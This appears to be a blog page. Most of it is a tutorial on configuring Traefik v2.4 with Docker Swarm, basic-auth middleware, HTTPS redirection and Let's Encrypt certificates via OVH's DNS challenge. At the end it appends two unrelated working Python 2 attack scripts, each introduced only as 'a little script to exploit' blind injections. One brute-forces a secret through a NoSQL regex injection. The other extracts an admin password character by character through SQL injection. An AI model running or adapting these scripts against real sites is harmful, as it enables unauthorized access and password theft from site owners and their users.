Table of Contents

1. Introduction
2. Why docker swarm and not kubernetes ?
3. Let’s dive into it !
   1. Traefik
   2. Generic service compose file
   3. Configuring TLS
   4. Configuring acme for Let’s encrypt

Introduction

In the light of recent events that occured at OVH, I had to fully remake my VPS architecture, and decided to drop down my old nginx configuration so I could use traefik which features really are awesome !

I already used traefik in his 1.17 version with docker swarm, so it was time to discover what they prepared for version 2.4 !

Why docker swarm and not kubernetes ?

Well I only have a single server, and for single node servers I do think that docker swarm is more suitable. Kubernetes is one hell of a complicated thing (even though it’s quite awesome), and the simplicity of docker swarm is really good for personal use even though it may be limited for professional use.

Furthermore, most of swarm problems are network problems, which won’t be real problems for a small one node personal infrastructure.

Let’s dive into it !

Traefik

Ok so first we’ll start our swarm and create the overlay network for traefik so it will be able to talk to other docker services

1
2

docker swarm init
docker network create --driver=overlay proxy

We will then take the docker-compose file from traefik doc and apply it as minimal configuration (https://doc.traefik.io/traefik/user-guides/docker-compose/basic-example/)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

version: "3.3"
services:
  traefik:
    image: "traefik:v2.4"
    command:
      #- "--log.level=DEBUG"
      - "--api.insecure=true"
      - "--api.dashboard=true"
      - "--providers.docker=true"
      - "--providers.docker.swarmMode=true"
      - "--providers.docker.exposedbydefault=false"
      - "--providers.docker.network=proxy"
      - "--entrypoints.web.address=:80"
    ports:
      - "80:80"
      - "8080:8080"
    volumes:
      - "/var/run/docker.sock:/var/run/docker.sock:ro"
      - letsencrypt:/letsencrypt
    networks:
      - proxy
networks:
  proxy:
    external: true
volumes:
  letsencrypt:

Then we can just deploy it in our swarm and check on http://localhost:8080 if everything went fine during the installation. This dashboard is enabled because of the two first command flags, as explained in the doc. I only added the network part and the letsencrypt volume for further use.

1

docker stack deploy -c traefik.yml traefik

OK this looks fine already, let’s add some name resolution on the dashboard, it will be easier than going to port 8080 and it will help us learn how labels work.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

version: "3.3"
services:
  traefik:
    image: "traefik:v2.4"
  
    [.....]
    deploy:
      labels:
        - "traefik.enable=true"
        - "traefik.http.routers.api.rule=Host(`traefik.example.com`)"
        - "traefik.http.routers.api.service=api@internal"
        - "traefik.http.routers.api.entrypoints=web"
        - "traefik.http.services.api-svc.loadbalancer.server.port=8080"

Ok those labels explain themselves pretty much:

• Host(`traefik.example.com`) will be the Host HTTP header traefik will match to know if it needs to redirect incoming traffic to this service. There’s plenty of other rules possible, such as ones using regexp, do not hesitate to check traefik documentation.
• The api@internal part is custom for dashboard, but it is important to notice that it’s actualling refering to the dashboard service on port 8080
• The entrypoint is the name of the port defined on command tags. Here web=80 (http)

Now when we go to traefik.example.com, we can see our beautiful dashboard, and so we don’t have to expose port 8080 anymore !

But let’s not forget about security ! This dashboard is quite sensitive, so let’s add a security layer above it.

We have middlewares in traefik v2 that will do the job !

1
2
3
4
5
6

  deploy:
    labels:
      - "traefik.enable=true"
[....]
      - "traefik.http.routers.api.middlewares=simple-auth"
      - "traefik.http.middlewares.simple-auth.basicauth.users=admin:$$apr1$$AAAAAAA$$BBBBBBBBBBBBBBB"

The first line represent all the middlewares we will be using for this service, separated by a comma, and the second line is the definition of the middleware.

This is a simple basicAuth here (don’t take this hash for your personal website !), but there are a lot of other predefined middleware that you could use.

Notice that we doubled each of our dollar signs in the basic auth definition. This is important for traefik ! It acts as a backslash character.

Our first service !

With all that we are ready for our first service !
Let’s say you would like, i don’t know, to run your blog on blog.example.com hostname.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

version: "3.3"
services:
  blog:
    image: davyyy/hexo
    command:
      - server
    environment:
      - "HEXO_SERVER_PORT=4000"
    volumes:
      - /home/user/posts:/blog
    deploy:
      labels:
        - "traefik.enable=true"
        - "traefik.http.routers.blog.rule=Host(`blog.example.com`)"
        - "traefik.http.routers.blog.service=blog-svc"
        - "traefik.http.routers.blog.entrypoints=web"
        - "traefik.http.routers.blog.middlewares=simple-auth"
        - "traefik.http.services.blog-svc.loadbalancer.server.port=4000"
    networks:
      - proxy
networks:
  proxy:
    external: true

I guess you already understood everything ! It’s super easy since we already have done quite the same with the traefik dashboard. Don’t forget to add the network proxy, the same as traefik, to your swarm service, so traefik can find it.

Configuring TLS !

Wow, looks like we’re going fast ! But now comes the sounds-like-tricky part, as it often is a pain in the ass to configure https.

But not really with traefik, as everything is pretty much already included !

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

traefik:
  image: traefik:v2.4
  ports:
    - "80:80"
    - "443:443" # Notice the new port ;)
  command:
    - --api.insecure=false # setting it to false as we have basicAuth now !
 [....]
    - --entrypoints.web.address=:80
    - --entrypoints.web.http.redirections.entryPoint.to=web-secure
    - --entrypoints.web.http.redirections.entryPoint.scheme=https
    - --entrypoints.web.http.redirections.entrypoint.permanent=true
    - --entrypoints.web-secure.address=:443
  volumes:
    - letsencrypt:/letsencrypt
    - /var/run/docker.sock:/var/run/docker.sock
  networks:
    - proxy
  deploy:
    labels:
      - "traefik.enable=true"
      - "traefik.http.routers.api.rule=Host(`traefik.example.com`)"
      - "traefik.http.routers.api.service=api@internal"
      - "traefik.http.routers.api.entrypoints=web-secure"
      - "traefik.http.routers.api.tls=true"
[....]

You can see a bunch of new commands and labels, but they have quite verbose name !
New commands basically define a new entrypoint called web-secure assigned to port 443 (common port for https://) here, redirect all web entrypoint traffic to it, and now we have our dashboard entrypoint to this new endpoint with this tls=true option.

I won’t show the example for the blog service, but it’s all the same.

OK so now we have https, which is great, but still our browser find it insecure to browse our website, not cool.

The problem is that traefik is serving its default certificate, which is of course not recognized by a CA.
But i don’t want to pay for certificates, so let’s configure let’s encrypt to get free certificates that will auto-renew. Can we do that in traefik ? Of course we can !

Configuring acme for Let’s Encrypt with OVH

I will do it with ovh because my dns zone is at their place, but the configuration must be similar for other DNS providers.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

services:
  traefik:
    image: traefik:v2.4
    ports:
      - "80:80"
      - "443:443"
    command:
      - --api.insecure=false
	  [...]
      - --certificatesresolvers.mytlschallenge.acme.email=admin@example.com
      - --certificatesresolvers.mytlschallenge.acme.storage=/letsencrypt/acme.json
      - --certificatesresolvers.mytlschallenge.acme.dnsChallenge.provider=ovh
      - --certificatesresolvers.mytlschallenge.acme.dnsChallenge.delayBeforeCheck=0
    environment:
      - "TZ=Europe/Paris"
      - "OVH_ENDPOINT=ovh-eu"
      - "OVH_APPLICATION_KEY=APP_KEY"
      - "OVH_APPLICATION_SECRET=APP_SECRET"
      - "OVH_CONSUMER_KEY=CONSUMER_KEY"
    volumes:
      - letsencrypt:/letsencrypt
      - /var/run/docker.sock:/var/run/docker.sock
    networks:
      - proxy
    deploy:
      labels:
        - "traefik.enable=true"
		[....]
        - "traefik.http.routers.api.tls.certresolver=mytlschallenge"
		[....]
networks:
  proxy:
    external: true
volumes:
  letsencrypt:

You mean I only have a bunch of environment variables and to define my certificate resolver and the work is done ?
Well, yes, specifying ovh as a provider will have traefik do the job alone ! It will connect to ovh with this api key, and will create the DNS records so it can check the website does belong to you as all our bases should have.

Notice the new label, it specifies with certificate resolver you want for your service. Thereforce you could have multiple dns providers, and still make it work !

Certificates will be stored in the acme.json file in letsencrypt volume.

I hope this post will make you mane to use traefik as it is really easy to understand, easy to configure and has a lot of super cool features already built into it !

Here is a little script to exploit nosql blind injections

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

#!/usr/bin/env python2
import urllib2
import time
def checkIfGood(param):
    response = urllib2.urlopen("http://www.vulnerable-site.com/index.php?name=user&pass[$regex]=" + param).read()
	print "[^]Trying " + param
	time.sleep(0.1)
	if response.find("This is not a valid flag") == -1:
		return (0)
	return (1)
							
CHARSET = "0123456789azertyuiopqsdfghjklmwxcvbnAZERTYUIOPQSDFGHJKLMWXCVBN@-_."
def main():
	i = 0
	tmp = ""
	while i < len(CHARSET):
		tmp += CHARSET[i]
		if checkIfGood(tmp + '.' + '{' + str(21 - len(tmp)) + '}') == 1: # 21 = len(nb_chars)
			tmp = tmp[:-1]
		else:
			i = -1
		i = i + 1
																								
def check_nb_chars():
	i = 0
	while i < 100:
		if checkIfGood(".{" + str(i) + "}") == 0:
			print "OK : " + str(i)
		i = i + 1
#check_nb_chars()
main()

Here is a little script to exploit sql blind injections

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

#!/usr/bin/env python2
import urllib
import urllib2
import time
CHARSET = "0123456789azertyuiopqsdfghjklmwxcvbnAZERTYUIOPQSDFGHJKLMWXCVBN@-_."
url = 'http://www.vulnerable_site.com/auth.php'
def sqlfind(length):
    i = 1
    final = ""
    tmp = 0
    while (i < length + 1): # length + 1 because substring starts at 1 
        query_args = { 'username':"admin' AND substr(password, " + str(i) + ", 1)= '" + CHARSET[tmp] + "' -- ", 'password':"bar" }
        encoded_args = urllib.urlencode(query_args)
        print (query_args["username"])
        response = urllib2.urlopen(url, encoded_args).read()
        time.sleep(0.2)
        if response.find("no such user") == -1:
            i = i + 1
            final += CHARSET[tmp]
            print ("PASSWORD : " + final)
            tmp = 0
        tmp = tmp + 1
def check_nb_chars():
    i = 0
    while (i < 100):
        query_args = { 'username':"admin' AND length(password)=" + str(i) + " -- ", 'password':"bar" }
        encoded_args = urllib.urlencode(query_args)
        print (query_args["username"])
        response = urllib2.urlopen(url, encoded_args).read()
        time.sleep(0.2)
        if response.find("no such user") == -1:
            print "Found the right length " + str(i)
            return (i)
        i = i + 1
    return (-1)
sqlfind(check_nb_chars())